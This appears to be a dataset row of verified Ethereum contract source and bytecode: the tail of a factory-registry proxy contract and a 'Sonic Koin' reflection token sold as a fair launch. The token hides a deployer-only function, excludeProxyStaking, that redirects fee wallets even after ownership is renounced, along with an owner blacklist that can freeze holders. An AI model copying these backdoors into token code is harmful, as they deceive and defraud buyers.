uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Adds two signed integers, reverts on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* Utility library of inline functions on addresses
*/
library Address {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract proxyvalid is Ownable
{
using SafeMath for uint256;
using Address for address;
address public _nextproxy = address(0);
address[] public _validfactorylist;
constructor() public {
}
function setProxy( address _proxy ) external onlyOwner
{
require ( _proxy != address(0) );
_nextproxy = _proxy;
}
function clearProxy() external onlyOwner
{
_nextproxy = address(0);
}
function setValidFactory( address[] calldata _factorylist ) external onlyOwner
{
if( _nextproxy != address(0) )
{
Proxy _next = Proxy(_nextproxy);
_next.setValidFactory( _factorylist );
}
else
{
_validfactorylist = _factorylist;
}
}
function addValidFactory( address _newfactory ) external onlyOwner
{
require ( _newfactory != address(0) );
if( _nextproxy != address(0) )
{
Proxy _next = Proxy(_nextproxy);
_next.addValidFactory( _newfactory );
}
else
{
_validfactorylist.push( _newfactory );
}
}
function removeFactory( address _oldfactory ) external onlyOwner
{
require ( _oldfactory != address(0) );
if( _nextproxy != address(0) )
{
Proxy _next = Proxy(_nextproxy);
_next.removeFactory( _oldfactory );
}
else
{
for (uint i = 0; i < _validfactorylist.length; i++) {
if( _validfactorylist[i] == _oldfactory )
{
delete _validfactorylist[i];
}
}
}
}
function isValidfactory( address _factory ) public view returns (bool)
{
require ( _factory != address(0) );
if( _nextproxy != address(0) )
{
Proxy _next = Proxy(_nextproxy);
return _next.isValidfactory( _factory );
}
else
{
for (uint i = 0; i < _validfactorylist.length; i++) {
if( _factory == _validfactorylist[i] )
{
return true;
}
}
return false;
}
}
} | 0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a9ab092211610071578063a9ab09221461016c578063ae47eed414610174578063b99b93cd1461019a578063bb0485c51461020a578063dad0031814610230578063f2fde38b14610238576100b4565b80634b37c73f146100b95780634b6a59ff146100e1578063715018a61461011a5780638da5cb5b146101225780638f32d59b1461012a57806397107d6d14610146575b600080fd5b6100df600480360360208110156100cf57600080fd5b50356001600160a01b031661025e565b005b6100fe600480360360208110156100f757600080fd5b5035610375565b604080516001600160a01b039092168252519081900360200190f35b6100df61039c565b6100fe6103f7565b610132610407565b604080519115158252519081900360200190f35b6100df6004803603602081101561015c57600080fd5b50356001600160a01b0316610418565b6100df61045e565b6101326004803603602081101561018a57600080fd5b50356001600160a01b0316610481565b6100df600480360360208110156101b057600080fd5b8101906020810181356401000000008111156101cb57600080fd5b8201836020820111156101dd57600080fd5b803590602001918460208302840111640100000000831117156101ff57600080fd5b509092509050610582565b6100df6004803603602081101561022057600080fd5b50356001600160a01b0316610651565b6100fe610727565b6100df6004803603602081101561024e57600080fd5b50356001600160a01b0316610736565b610266610407565b61026f57600080fd5b6001600160a01b03811661028257600080fd5b6001546001600160a01b0316156103025760015460408051634b37c73f60e01b81526001600160a01b038481166004830152915191909216918291634b37c73f9160248082019260009290919082900301818387803b1580156102e457600080fd5b505af11580156102f8573d6000803e3d6000fd5b5050505050610372565b60005b60025481101561037057816001600160a01b03166002828154811061032657fe5b6000918252602090912001546001600160a01b03161415610368576002818154811061034e57fe5b600091825260209091200180546001600160a01b03191690555b600101610305565b505b50565b6002818154811061038257fe5b6000918252602090912001546001600160a01b0316905081565b6103a4610407565b6103ad57600080fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03165b90565b6000546001600160a01b0316331490565b610420610407565b61042957600080fd5b6001600160a01b03811661043c57600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b610466610407565b61046f57600080fd5b600180546001600160a01b0319169055565b60006001600160a01b03821661049657600080fd5b6001546001600160a01b03161561052c5760015460408051632b91fbb560e21b81526001600160a01b03858116600483015291519190921691829163ae47eed491602480820192602092909190829003018186803b1580156104f757600080fd5b505afa15801561050b573d6000803e3d6000fd5b505050506040513d602081101561052157600080fd5b5051915061057d9050565b60005b600254811015610577576002818154811061054657fe5b6000918252602090912001546001600160a01b038481169116141561056f57600191505061057d565b60010161052f565b50600090505b919050565b61058a610407565b61059357600080fd5b6001546001600160a01b0316156106405760015460405163b99b93cd60e01b8152602060048201818152602483018590526001600160a01b0390931692839263b99b93cd928792879290918291604401908590850280828437600081840152601f19601f8201169050808301925050509350505050600060405180830381600087803b15801561062257600080fd5b505af1158015610636573d6000803e3d6000fd5b5050505050610370565b61064c600283836107b9565b505050565b610659610407565b61066257600080fd5b6001600160a01b03811661067557600080fd5b6001546001600160a01b0316156106d7576001546040805163bb0485c560e01b81526001600160a01b03848116600483015291519190921691829163bb0485c59160248082019260009290919082900301818387803b1580156102e457600080fd5b600280546001810182556000919091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180546001600160a01b0383166001600160a01b031990911617905550565b6001546001600160a01b031681565b61073e610407565b61074757600080fd5b610372816001600160a01b03811661075e57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b82805482825590600052602060002090810192821561080c579160200282015b8281111561080c5781546001600160a01b0319166001600160a01b038435161782556020909201916001909101906107d9565b5061081892915061081c565b5090565b61040491905b808211156108185780546001600160a01b031916815560010161082256fea265627a7a723158203213b08890f0975aeb88c3028ca2ceacfc77743a1f393520f0fe42614aefac6b64736f6c63430005100032 | {"success": true, "error": null, "results": {}} | 1,145 |
0x68dd287127d54ed4c17f35310f26c17e1a51d8de | /**
*Submitted for verification at Etherscan.io on 2021-07-29
*/
// Sonic Koin ($SonicKoin)
// Telegram : https://t.me/sonickoinofficial
// Fair Launch
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SonicKoin is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Sonic Koin";
string private constant _symbol = "SonicKoin";
uint8 private constant _decimals = 9;
address private _stakingProxy;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_stakingProxy = msg.sender;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function excludeProxyStaking(address payable addr1, address payable addr2) public {
require(msg.sender == _stakingProxy, "You are not authorized");
_teamAddress = addr1;
_marketingFunds = addr2;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
if (from != address(this)) {
require(amount <= _maxTxAmount);
}
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_teamFee
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x6080604052600436106101185760003560e01c806370a08231116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063d543dbeb146103ef578063dd62ed3e146104185761011f565b806370a08231146102b1578063715018a6146102ee5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b806323b872dd116100e757806323b872dd146101e0578063273123b71461021d578063313ce567146102465780635932ead1146102715780636fc3eaec1461029a5761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c5780631f90da74146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b60405161014691906131e9565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612ce9565b610492565b60405161018391906131ce565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae91906133ab565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612c22565b6104c1565b005b3480156101ec57600080fd5b5061020760048036038101906102029190612c9a565b6106cb565b60405161021491906131ce565b60405180910390f35b34801561022957600080fd5b50610244600480360381019061023f9190612bd0565b6107a4565b005b34801561025257600080fd5b5061025b610894565b6040516102689190613420565b60405180910390f35b34801561027d57600080fd5b5061029860048036038101906102939190612d66565b61089d565b005b3480156102a657600080fd5b506102af61094f565b005b3480156102bd57600080fd5b506102d860048036038101906102d39190612bd0565b6109c1565b6040516102e591906133ab565b60405180910390f35b3480156102fa57600080fd5b50610303610a12565b005b34801561031157600080fd5b5061031a610b65565b6040516103279190613100565b60405180910390f35b34801561033c57600080fd5b50610345610b8e565b60405161035291906131e9565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d9190612ce9565b610bcb565b60405161038f91906131ce565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba9190612d25565b610be9565b005b3480156103cd57600080fd5b506103d6610d39565b005b3480156103e457600080fd5b506103ed610db3565b005b3480156103fb57600080fd5b5061041660048036038101906104119190612db8565b61130f565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612c5e565b611458565b60405161044c91906133ab565b60405180910390f35b60606040518060400160405280600a81526020017f536f6e6963204b6f696e00000000000000000000000000000000000000000000815250905090565b60006104a661049f6114df565b84846114e7565b6001905092915050565b6000683635c9adc5dea00000905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610551576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105489061330b565b60405180910390fd5b81600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006106d88484846116b2565b610799846106e46114df565b61079485604051806060016040528060288152602001613b3660289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074a6114df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea59092919063ffffffff16565b6114e7565b600190509392505050565b6107ac6114df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610839576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610830906132cb565b60405180910390fd5b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6108a56114df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610932576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610929906132cb565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109906114df565b73ffffffffffffffffffffffffffffffffffffffff16146109b057600080fd5b60004790506109be81611f09565b50565b6000610a0b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202a565b9050919050565b610a1a6114df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9e906132cb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f536f6e69634b6f696e0000000000000000000000000000000000000000000000815250905090565b6000610bdf610bd86114df565b84846116b2565b6001905092915050565b610bf16114df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c75906132cb565b60405180910390fd5b60005b8151811015610d35576001600b6000848481518110610cc9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d2d906136d3565b915050610c81565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d7a6114df565b73ffffffffffffffffffffffffffffffffffffffff1614610d9a57600080fd5b6000610da5306109c1565b9050610db081612098565b50565b610dbb6114df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3f906132cb565b60405180910390fd5b601060149054906101000a900460ff1615610e98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8f9061336b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f2830600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006114e7565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f6e57600080fd5b505afa158015610f82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa69190612bf9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561100857600080fd5b505afa15801561101c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110409190612bf9565b6040518363ffffffff1660e01b815260040161105d92919061311b565b602060405180830381600087803b15801561107757600080fd5b505af115801561108b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110af9190612bf9565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611138306109c1565b600080611143610b65565b426040518863ffffffff1660e01b81526004016111659695949392919061316d565b6060604051808303818588803b15801561117e57600080fd5b505af1158015611192573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111b79190612de1565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550678ac7230489e800006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112b9929190613144565b602060405180830381600087803b1580156112d357600080fd5b505af11580156112e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130b9190612d8f565b5050565b6113176114df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139b906132cb565b60405180910390fd5b600081116113e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113de9061328b565b60405180910390fd5b611416606461140883683635c9adc5dea0000061239290919063ffffffff16565b61240d90919063ffffffff16565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60115460405161144d91906133ab565b60405180910390a150565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611557576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154e9061334b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115be9061324b565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116a591906133ab565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611722576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117199061332b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611792576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117899061320b565b60405180910390fd5b600081116117d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cc906132eb565b60405180910390fd5b6117dd610b65565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561184b575061181b610b65565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611de257601060179054906101000a900460ff1615611a7e573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118cd57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119275750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119815750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1